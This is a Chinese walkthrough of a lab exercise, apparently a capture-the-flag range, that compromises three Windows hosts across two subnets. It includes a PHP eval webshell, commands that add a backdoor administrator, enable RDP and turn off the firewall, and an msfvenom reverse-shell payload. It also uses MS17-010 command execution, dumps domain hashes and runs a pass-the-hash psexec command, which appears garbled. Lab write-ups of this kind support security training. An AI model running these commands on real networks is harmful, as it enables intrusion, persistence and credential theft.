题目:本次小李的任务是攻克192.168.10.0/24网段的所有主机,刚开始挺顺利,但深入后发现里面的情况远比想象的复杂。
信息收集
开启环境连接openvpn,既然是攻克整个网段,那么直接使用fscan对网段进行扫描
┌──(xtk㉿XTK)-[~/Desktop]
└─$ ./fscan -h 192.168.10.10/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 192.168.10.0-192.168.10.255
[*] 已生成IP范围: 192.168.10.0 - 192.168.10.255
[*] 已解析CIDR 192.168.10.10/24 -> IP范围 192.168.10.0-192.168.10.255
[*] 最终有效主机数量: 256
[-] 正在尝试无监听ICMP探测...
[-] 当前用户权限不足,无法发送ICMP包
[*] 切换为PING方式探测...
[+] 目标 192.168.10.10 存活 (ICMP)
[+] 目标 192.168.10.233 存活 (ICMP)
[+] ICMP存活主机数量: 2
[*] 共解析 218 个有效端口
[+] 端口开放 192.168.10.233:22
[+] 端口开放 192.168.10.10:80
[+] 端口开放 192.168.10.10:135
[+] 端口开放 192.168.10.10:139
[+] 端口开放 192.168.10.10:445
[+] 端口开放 192.168.10.233:8080
[+] 端口开放 192.168.10.10:3306
[+] 存活端口数量: 7
[*] 开始漏洞扫描...
[!] 扫描错误 192.168.10.10:445 - 无法确定目标是否存在漏洞
[!] 扫描错误 192.168.10.10:135 - [-] 解码主机信息失败: encoding/hex: odd length hex string
[*] NetBios 192.168.10.10 WORKGROUP\WIN-KOHRC1DGOL9 Windows Server 2012 R2 Standard 9600
[*] 网站标题 http://192.168.10.10 状态码:200 长度:25229 标题:易优CMS - Powered by Eyoucms.com
[*] 网站标题 https://192.168.10.233:8080 状态码:404 长度:19 标题:无标题
[!] 扫描错误 192.168.10.233:22 - 扫描总时间超时: context deadline exceeded
[+] [发现漏洞] 目标: http://192.168.10.10
漏洞类型: poc-yaml-thinkphp5023-method-rce
漏洞名称: poc1
详细信息: %!s(<nil>)
[!] 扫描错误 192.168.10.10:3306 - Error 1130: Host '192.168.122.133' is not allowed to connect to this MySQL server
[+] 扫描已完成: 7/7
[*] 扫描结束,耗时: 37.258666301s
第一台机器(192.168.10.10)
根据fscan扫描结果可以得出是thinkphp框架,存在漏洞,掏出工具一把梭,成功检测到漏洞
进行getshell
,写入一句话木马
<?php @eval($_POST['a']);?>
拿出蚁剑进行连接
连接成功,在根目录下成功找到flag
进入终端,添加用户,开启远程访问桌面服务,
net user xtk 123@abc /add
在Windows系统中net user
命令主要用于创建,修改,删除用户账户,上面的命令整体为添加名为xtk
的新用户,密码为123@abc
,
net localgroup Administrators xtk /add
net localgroup
命令用于管理本地用户组,整条命令为将我们新创建的用户添加到用户组Administrators
组中,以此来达到用户具有管理员权限。
修改注册表启用远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
命令说明
REG ADD
: 用于向注册表中添加或修改键值。HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
: 注册表路径,控制远程桌面连接的设置。/v fDenyTSConnections
: 指定要修改的键值名称。/t REG_DWORD
: 指定键值类型为 DWORD。/d 00000000
: 设置键值的数值数据为0
(表示启用远程桌面连接)。/f
: 强制覆盖现有键值,无需确认。
禁用防火墙
netsh advfirewall set allprofiles state off
命令说明
netsh advfirewall
: 用于配置高级防火墙设置。set allprofiles
: 表示对所有配置文件(域、专用、公用)进行操作。state off
: 关闭防火墙。
远程连接一下试试,发现报错了,
报错原因说是身份验证导致的,那么我们直接禁用掉身份验证就好了
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
简单解读一下这条指令:reg add
注册表编辑指令,表示向注册表中添加或修改键值。"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
这里充当的是注册表的路径,也就是我们要修改的地方,目标键位于 HKEY_LOCAL_MACHINE
,涉及远程桌面服务的 RDP-Tcp 协议配置。/v UserAuthentication
指定要操作的注册表值名称,此处为 UserAuthentication
。/t REG_DWORD
定义值类型为 REG_DWORD
(32 位整数),/d 0
设置数据为0,表示禁用功能。/f
和之前一样还是强制覆盖,不提示确认。
再次进行登录,
成功登录,
查看下机子的IP
PS C:\Users\xtk> ipconfig
Windows IP 配置
以太网适配器 以太网 3:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::d51c:328c:a9ac:7ea2%17
IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.10.233
以太网适配器 以太网实例 0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::645a:a851:908c:70ee%16
IPv4 地址 . . . . . . . . . . . . : 192.168.20.10
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.20.1
隧道适配器 isatap.{0A087C82-408A-4C20-8EB3-4E5C11A340D7}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{4DA50EBB-5871-4387-AB71-FF1EF08A5B10}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
可以发现有两个网段,传入fscan
对192.168.20.10/24
网段进行扫描
根据扫描结果可以看出192.168.20.30
存在永恒之蓝漏洞,打开kali,连接openvpn,
部署CS,开启监听,远程访问192.168.10.10
,在kali上启动http服务,远程下载,
下载的时候会出现当前安全设置不允许下载该文件,
这里是因为目标服务器上的浏览器做了限制,点击左上角的设置,在安全中点击网页隐私策略进行修改
点击后进入隐私报告页面,点击设置,在弹出的Internet选项中选择安全,自定义级别,在底部会有下载设置,将其开启即可
同时在目标机器上下载4dnat.exe
,目的主要是为了方便搭建sockes
代理隧道,使用CS搭建也可以,看个人选择即可。这里选择使用4dnat
4dnat.exe -proxy socks5 10000
同时kali
配置好挂上代理,这里使用的是proxychains
,修改一下配置文件中的代理即可,
第二台机器
之前在第一台机器上从fscan
的扫描结果可以得出,192.168.20.30
的机器存在永恒之蓝漏洞,我们之前做的步骤也是为了通过kali
来对IP为192.168.20.30
机器上的永恒之蓝进行利用,以此来获取目标的服务器权限。使用msf
生成木马来上线192.168.10.10
机器。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.233.2 LPORT=6000 -f exe > shell.exe
生成之后通过之前的HTTP服务远程下载即可,启动msfconsole
sudo msfconsole
使用接受反弹shell的模块,设置IP和端口之后运行
use exploit/multi/handler
set lhost 172.16.233.2
set lport 6000
run -j -z #-j:将监听任务放入后台运行,允许我们接着使用Metasploit 控制台执行其他操作。-z:不主动等待会话建立(与 -j 配合使用,主要用于快速启动监听)。
成功上线后,输入sessions
查看一下当前会话
搜索永恒之蓝的漏洞
search ms17
这里普通的模块没利用成功,换成auxiliary/admin/smb/ms17_010_command
模块,允许通过漏洞在目标系统上执行任意命令。输入options
查看下需要设置的信息。
设置IP和运行的指令就好了,一次执行一条,这里可以开启一个反弹shell,也可以跟之前一样开启他的远程桌面服务,在这里我用的是开启3389远程访问
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set COMMAND net user xtk 123@abc /add
set COMMAND net localgroup Administrators xtk /add
set COMMAND netsh firewall set opmode disable
开启之后远程连接一下试试,注意挂代理,登录的是域控服务器,用户名前带.\
proxychains rdesktop 192.168.20.30
第三台机器
既然是192.168.20.30
是域控服务器,那么我们只需要抓取hash
值,然后对192.168.20.20
发起PTH攻击即可。使用CS生成正向木马,以此来上线192.168.20.20
的机器,
将木马传输到192.168.20.30
,之前在kali上启动HTTP服务在这里肯定不能直接传过来,但是我们可以先下载到192.168.10.10(192.168.20.10)
的机器上,然后通过复制粘贴直接贴到192.168.20.30
上,
运行之后使用CS进行连接,成功上线
更改会连间隔,抓取hash
值,
Administrator:500:aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5bc02b7670084dd30471730cc0a1672c:::
cyberweb:1105:aad3b435b51404eeaad3b435b51404ee:2de5cd0f15d1c070851d1044e1d95c90:::
xtk:1106:aad3b435b51404eeaad3b435b51404ee:73f5d97549f033374fa6d9f9ce247ffd:::
WIN-7NRTJO59O7N$:1000:aad3b435b51404eeaad3b435b51404ee:a0cde4eb68e4a2345b888c83eed3b196:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:e6a15c99a606f9face74d871788de01e:::
使用Impacket 的 psexec.py
进行 PTH 攻击:
Impacket 是一个强大的 Python 工具包,用于对 Windows 系统进行网络协议操作和渗透测试。其中的
psexec.py
脚本是一个经典的远程命令执行工具,可以模拟 Windows 的PsExec
工具,允许攻击者在目标系统上执行命令。PTH(Pass-the-Hash,哈希传递)攻击 是一种利用 Windows 系统中存储的用户密码哈希值进行身份验证的攻击技术。攻击者无需破解哈希值或获取明文密码,而是直接使用哈希值来通过身份验证,从而访问目标系统或资源。Impacket 当结合 PTH(Pass-the-Hash,哈希传递)攻击 时,psexec.py
可以直接使用目标用户的 NTLM 哈希值进行身份验证,而无需明文密码。这使得攻击者可以在不知道明文密码的情况下,通过哈希值获取目标系统的访问权限。
proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes:94bd5248e87cb7f2f9b871d40c903927cyberstrikelab.com/administrator@192.168.20.20
输入完整指令,这里仍然需要使用代理,
成功获取到192.168.20.20
的shell,切换到根目录下读取flag即可
至此完成对整个网段的渗透.